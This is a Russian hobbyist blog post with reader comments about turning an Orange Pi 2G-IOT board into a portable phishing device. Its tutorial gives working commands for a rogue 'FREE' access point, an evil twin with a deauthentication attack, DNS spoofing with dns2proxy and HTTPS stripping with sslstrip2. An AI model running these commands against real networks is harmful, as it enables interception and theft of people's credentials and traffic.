Шерстя просторы AliExpress
в поисках Raspberry Pi, я наткнулся на такую такое вот устройство.


Этот одноплатник за 10$ имеет скромные габариты (67x42мм), содержит в себе: Cortex-A5 1,0 ГГц, 256Мб оперативной памяти, 512Мб NAND, а главное — встроенные WI-FI и 2G адаптеры!


Сразу вспомнилась статья «Ананасовый рай», вышедшая в журнале Хакер в далеком 2013 и я загорелся желанием превратить «апельсинку» в устройство для фишинга.


Сазу оговорюсь, что делается все это исключительно в экспериментальных целях.


Первые приготовления


Итак, идем на сайт производителя и скачиваем образ ОС, я выбрал Raspbian. Далее, распаковываем его на micro sd карту, ставим перемычку в положение T-Card и включаем питание.


Для подключения можно использовать usb-ttl переходник, либо задать логин-пароль в /etc/network/interfaces и подключиться по ssh.


Теперь можно подключиться к Wi-Fi через wpa_cli


Скрытый текст
add_network
set_network 1 ssid "login"
set_network 1 psk "password"
enable_network 1

Настраиваем dhcp


dhclient wlan0 

Подключаемся через 2g


Устанавливаем пакеты


apt-get install ppp wvdial

Создаем конфиг файлы (я использовал сим карту от МТС).


/etc/wvdial.conf
[Dialer Defaults]
ISDN = 0
Modem Type = Analog Modem
Phone = *99***1#
Stupid Mode = 1
Dial Command = ATDT
Modem = /dev/modem0
Baud = 460800
Init1 = ATE1
Init2 = AT+COPS=0
Init3 = AT+CFUN=1
Init4 = AT+CGATT=1
Init5 = AT+CGDCONT=1,"IP","internet.mts.ru","",0,0
Init6 = AT+CGACT=1,1
Username = mts
Password = mts

/etc/ppp/peers/mts
ipcp-accept-local
ipcp-accept-remote
noipdefault
defaultroute
replacedefaultroute
usepeerdns
user mts
noauth
novj
nobsdcomp
crtscts
modem
lock

Пробуем подключиться; должно появиться ppp0 подключение.


wvdial 

Соединение может выпадать, поэтому напишем скрипт, который будет постоянно дергать сеть.


#!/bin/bash
while : ; do
       wvdial
       sleep 10
   done
) &

И положем его на автостарт в /etc/rc.local
/root/scripts/wvdial >/dev/null 2>&1 &


Настраиваем openvpn


Теперь поставим openvpn, чтобы мы могли без статики подключаться по SSH к нашей «апельсинке».


apt-get install openvpn

Гайды по настройки можно найти в сети, единственное — в файле конфига сервера необходимо раскомментировать опцию для маршрутизации трафика между хостами.
client-to-client


После настройки появляется tun0 соединение, перезапускаем openvpn и добавляем его в автозагрузку.


systemctl restart openvpn && systemctl enable openvpn

Теперь можно подключаться к устройству, минуя статику. Чтобы 2G соединение не казалось нам болью, меняем приоритеты адаптеров и перезапускаем openvpn.


ip route del default && ip route add default via 192.168.100.1 dev wlan0 && ip route add 192.168.100.0/24 via 192.168.100.1 dev wlan0 && service openvpn restart 

Поднимаем точку доступа


Подключаем внешний usb Wifi адаптер и установим пакеты


apt-get install git dsniff isc-dhcp-server

Настроим dhcpd сервер.


/etc/dhcp/dhcpd.conf
authoritative;
default-lease-time 600;
max-lease-time 7200;
subnet 172.16.0.0 netmask 255.255.255.0 {
option routers 172.16.0.1;
option subnet-mask 255.255.255.0;
option domain-name-servers 172.16.0.1,8.8.8.8;
range 172.16.0.2 172.16.0.254;
}

Включим маршрутизацию трафика


echo 1 > /proc/sys/net/ipv4/ip_forward

Теперь запустим точку доступа:


airbase-ng -e FREE wlan1 -c 2

Поднимем сеть


ifconfig at0 up
ifconfig at0 172.16.0.1 netmask  255.255.255.0

Настраиваем фаервол


iptables  --flush
iptables --table nat --flush
iptables --delete-chain
iptables --table nat --delete-chain
iptables -P FORWARD ACCEPT
iptables --table nat --append POSTROUTING --out-interface wlan0 -j MASQUERADE
iptables --append FORWARD -j ACCEPT --in-interface at0

Запускаем демон dhcp


dhcpd -cf /etc/dhcp/dhcpd.conf

Отлично, точка доступа работает, маршрутизация работает. Мы также можем создать «злого близнеца», поменяв SSID точки доступа, MAC адрес и канал связи. Узнать информацию о доступных точках доступа, а также клиентов, подключенных к ним, можно, запустив утилиту airodump-ng.


airodump-ng wlan0

Можно даже отправить пакеты для разъединения клиенту, чтобы он подключился к нашей ТД.


aireplay-ng -0 1 -a 01:02:03:04:05:06 -c 11:12:13:14:15:16 wlan0

01:02:03:04:05:06 — mac ТД.
11:12:13:14:15:16 — mac клиента.


DNS Spoofing


Скачиваем репозиторий.


git clone https://github.com/LeonardoNve/dns2proxy

Редактируем под себя domains.cfg и запускаем программу.


echo ".test.com 172.16.0.1" >>  domains.cfg
apt-get install nginx // Немного коммента                                                                                                                                                       
python3 dns2proxy.py

Теперь клиенты, заходя на test.com, будут попадать на наш локальный веб-сервер.


SSL Stripping


Скачаем репозиторий


git clone https://github.com/byt3bl33d3r/sslstrip2

Перенаправляем трафик.


iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000

Запускаем программу.


python sslstrip -l 10000

К сожалению, сейчас sslstrip2 работает не со всеми сайтами.


Итог


За 10$ получилось собрать тот же «Ананасик», но гораздо компактнее. С аккумулятором на 2000mAч устройства хватает примерно на сутки.




> Характеристики на сайте производителя.
> Скрипты по поднятию fake ap собрал в репозиторий.

Комментарии (41)


  1. zuborg
    08.01.2018 17:17

    Из похожих ещё C.H.I.P. есть, тоже 9$, чуток помощнее будет, но без 2G:
    512M вместо 256M ram
    4G вместо 0.5G storage
    GPIO разнообразнее, есть PWM, например.


    1. huhen
      08.01.2018 19:11

      Да только с поставками беда — давно заказывал с обещанием поставки через месяц, пришло примерно через полгода. После пропал из стора, осталась только Pro версия за 16$(характеристики похожи оранжу 2G, только без 2G), правда судя по форуму с доставкой тоже беда.


      1. untilx
        09.01.2018 12:57

        Когда я заказывал, пришлось ждать около месяца до начала поставок, потом действительно пришло через месяц. Сейчас он не доступен к заказу, пишут, что пытаются вместо Allwinner перейти на свой чип (насколько я понял, на базе всё того же Allwinner).


  1. yurish
    08.01.2018 19:01

    Завелась у вас без проблем? Моя как-то не особо хочет ловить WiFi. Правда, я остановился на Ubuntu Server вместо Raspbian.


    1. bad__day Автор
      08.01.2018 22:55

      С Ubuntu Server тоже были проблемы изначально, после перезагрузки вывод через ttl останавливался на ошибке. На самом деле, через ssh все работает, просто на debug порт ничего не выходит. Пробовал с новым ядром запускать, проблема аналогичная.
      На Raspbian все довольно стабильно.


    1. Rumlin
      09.01.2018 08:17

      Ubuntu у меня Orange Pi работал нестабильно. Например, система после перезагрузки могла не подняться. Raspbian работает надежно.


  1. izzholtik
    08.01.2018 19:53

    Какая версия ядра в актуальной сборке ОС?
    Что можно установить на NAND?


    1. bad__day Автор
      08.01.2018 22:45

      В официальных сборка версия, к сожалению, 3.10.62
      Вот исходники обновленного ядра, я его компилировал, чтобы завести драйвера под wifi адаптер. Версия там не далеко ушла. Кажется, 3.12*.
      NAND не смотрел, подсказать ничего не могу.


      1. izzholtik
        08.01.2018 23:38

        Значит, не нужно.


  1. praeivis
    08.01.2018 19:55

    Раньше все Orange Pi 2G-IOT приходили с IMEI 000000000. Ваш пришел уже с нормальным IMEI или всё еще надо самому прошивать?


    1. bad__day Автор
      08.01.2018 22:13

      На моей плате IMEI тоже забит нулями, но оператор не ругался, я ничего не прошивал.


  1. strib
    09.01.2018 00:46

    Не подскажете, какой там чип GSM? В документации нет указания. Он EC-GSM сумеет, не интересовались? Спасибо.


  1. m0Ray
    09.01.2018 08:51

    А не встречал ли кто из вас, товарищи, чего-нибудь столь же компактного, но с более мощным процессором?

    На RPi3 я нынче упёрся в производительность так, что аж 4 ядра не спасают (я их все задействовал, да), хоть плачь. Видео жевать на openCV в разрешении хотя бы 640x480 на 30fps хотелось бы. Еле-еле хватает на 160x120, и то перспективное преобразование в это смешное разрешение чудовищно жрёт процессорное время, и это даже без реалтаймовой привязки к реальности при помощи ArUco, которую тоже неплохо бы иметь. GPU не помощник, на него такие алгоритмы не запихнуть. А FPS очень важен. Хотелось бы и больше.
    На банальном Celeron с той же тактовой частотой всё летает даже в один поток. Но у Celeron энергопотребление — от USB да литиевой баночки не запитаешь, да обвес, да габариты… Вот, ищу компромиссные варианты.


    1. CRImier
      09.01.2018 09:25

      1. m0Ray
        09.01.2018 15:50

        Воу, благодарствую, что-то вроде этого и искал. Видел пару лет назад Odroid С1, на тот момент не впечатлило. Не знал, что они теперь туда Exynos запихнули.


    1. gosha-z
      09.01.2018 11:50

      Бескомпромиссный — Jetson TX2
      Компромиссный — что-то типа Orange Pi Win Plus, но обвязку видеоблока вам придется допиливать самому.


      1. m0Ray
        09.01.2018 18:49

        Jetson неплох, но у него есть некоторые серьёзные минусы для моей задачи. Например, не поддерживает OpenCL. Ну и дороговат так-то.
        Благодарствую, буду иметь в виду.


        1. gosha-z
          09.01.2018 19:02

          Вы уж определитесь, вам OpenCL или обработку видео.


          1. m0Ray
            09.01.2018 20:57

            Мне обработку видео, через OpenCV, который, в свою очередь, хорошо знает OpenCL.
            Грубо говоря, девайс контролирует пространство между несколькими ArUco маркерами (в будущем подвижными относительно камеры) в поисках быстро перемещающихся предметов с определёнными характеристиками. При нахождении вычисляет их позиции, сигнализирует по сети и дёргает исполнительным устройством.
            На голом CPU это достаточно медленно, в RPi3 без нормального GPU я уже упёрся. Если уж на плате есть GPU, я хочу переложить часть работы на него, нехай большие матрицы жуёт на предмет арифметики и фильтрации. В Jetson-е GPU хороший, и из-за него в том числе он такой дорогой. Так чего ему простаивать?
            Но с OpenCL я добавлю две строчки в код (потому что Transparent API), а с CUDA мне придётся перелопачивать весь алгоритм. Некогда мне этим заниматься, продукт уже в производстве полным ходом.


            1. huhen
              09.01.2018 23:02

              Не пробовали прикрутить VC4CL?


              1. m0Ray
                09.01.2018 23:11

                Ух ты. Интересно, почему гугл мне этого не показал, когда я искал по ключевым словам «opencl raspberry pi». Натыкался только на форумы, где в основном разводили руками и говорили, что из-за закрытости кода для Mali 400 этого не планируется и не предвидится.
                Непременно попробую, как будет время. Благодарю за наводку.
                Главное, не помешала бы эта штука работе камеры, я копался — камера весьма интенсивно использует GPU.


                1. gosha-z
                  10.01.2018 09:10

                  Так на RPi3 (то бишь BCM2835) не Mali, а что-то свое…


                  1. m0Ray
                    10.01.2018 09:44

                    Да, наверное, спутал с чем-то, но в любом случае там бинарные блобы без исходников и OpenCL не заявлено. Ну я и гуглил без ключевого слова «Mali».


                    1. gosha-z
                      10.01.2018 11:37

                      Гуглизм по opencl videocore iv третьей ссылкой дает как раз VC4CL


                      1. m0Ray
                        10.01.2018 18:58

                        Для этого надо знать слова «videocore iv».


    1. Amissus
      09.01.2018 16:55

      Pine64. Если смотреть на самую последнюю версию.


      1. m0Ray
        09.01.2018 17:49

        Да что-то она не сильно мощнее RPi3. Тот же процессор, ну разве что памяти побольше да периферия побогаче. А я упёрся именно в проц.


    1. nochkin
      09.01.2018 18:20

      Intel Edison & Co. en.m.wikipedia.org/wiki/Intel_Edison
      Правда, надо иметь ввиду, что Intel недавно перестала их поддерживать.


      1. m0Ray
        09.01.2018 19:51

        Про этот знаю, спасибо. Дорого, а теперь ещё и не имеет будущего.


        1. nochkin
          10.01.2018 06:31

          Обычно цены как раз падают, так как народ пытается избавиться.
          Но если надо надолго, то тогда не очень. А если на какое-то время (пока не появится что-то лучшее), то вполне вариант.


          1. m0Ray
            10.01.2018 16:09

            А надо надолго, да. Каждый год менять аппаратную платформу мы умучаемся, надо двигаться вперёд, а не бесконечно переписывать и ломать уже отлаженное. Беда всех стартапов — выкатить как можно быстрее и начать продажи, даже если костыльно и слегка глючно. Решение менять платформу тоже ещё окончательно не принято, ухищряемся в пределах того, что есть. «Малин» опять же закуплена кучка, не выбрасывать же…


  1. boojum
    09.01.2018 09:14

    А зачем внешний usb Wifi адаптер?


    1. bad__day Автор
      09.01.2018 09:56

      Чтобы поднять точку доступа, встроенный адаптер не умеет это.


      1. izzholtik
        09.01.2018 12:56

        господи, позорище какое. Вся суть оранжа.


  1. Fox_exe
    09.01.2018 10:18

    А можно было OpenWRT поставить и обойтись без скриптов… И даже точка доступа там работает на встроенной вафле.


    1. boojum
      09.01.2018 12:52

      А как на нее поставить OpenWRT?


  1. pronvit
    09.01.2018 11:46

    А что есть похожее с 3G?


  1. madf
    09.01.2018 11:48

    Зачем ЭТО всё?


  1. arheops
    09.01.2018 13:44

    а там звук gsm чипа в цифре есть? или только позвонить и в наушниках послушать?


  1. Vovanys
    09.01.2018 13:58

    Armbian не пробовал?


    1. bad__day Автор
      09.01.2018 18:56

      Пробовал, довольно стабильная. Но не нашел linux-headers под нее.